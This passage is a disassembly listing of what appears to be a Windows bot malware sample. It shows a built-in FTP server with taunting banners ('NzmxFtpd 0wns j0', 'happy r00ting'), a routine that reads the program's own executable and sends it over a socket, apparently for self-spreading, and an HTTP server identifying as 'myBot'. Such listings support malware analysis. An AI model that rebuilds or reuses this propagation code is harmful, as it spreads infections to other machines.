		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574

loc_405584:				; CODE XREF: sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]

loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax

loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------

loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]

loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB

loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]

loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		nop
		call	near ptr 71AB1A6Dh
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]

loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi

loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------

loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------

loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172B0
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172B0
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------

loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43C83C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h

loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------

loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------

loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send

loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------

loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax

loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	[ebp+arg_0]
		mov	dword_43C838, eax
		mov	[ebp+var_10], 2
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43C838
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_43C838
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h

loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43C838
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 26003D2h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi

loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_43C838
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E8o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43F668
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43F690
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43F704
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43F650
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43F560
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]

loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47

loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43F700
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]

loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]

loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2

loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3

loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------

loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06

loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]

loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]

loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31

loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]

loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------

loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43F700

loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------

loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h

loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_254]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------

loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------

loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 28h

loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43F6B8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------

loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h

loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43F700
		push	[ebp+var_B4]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
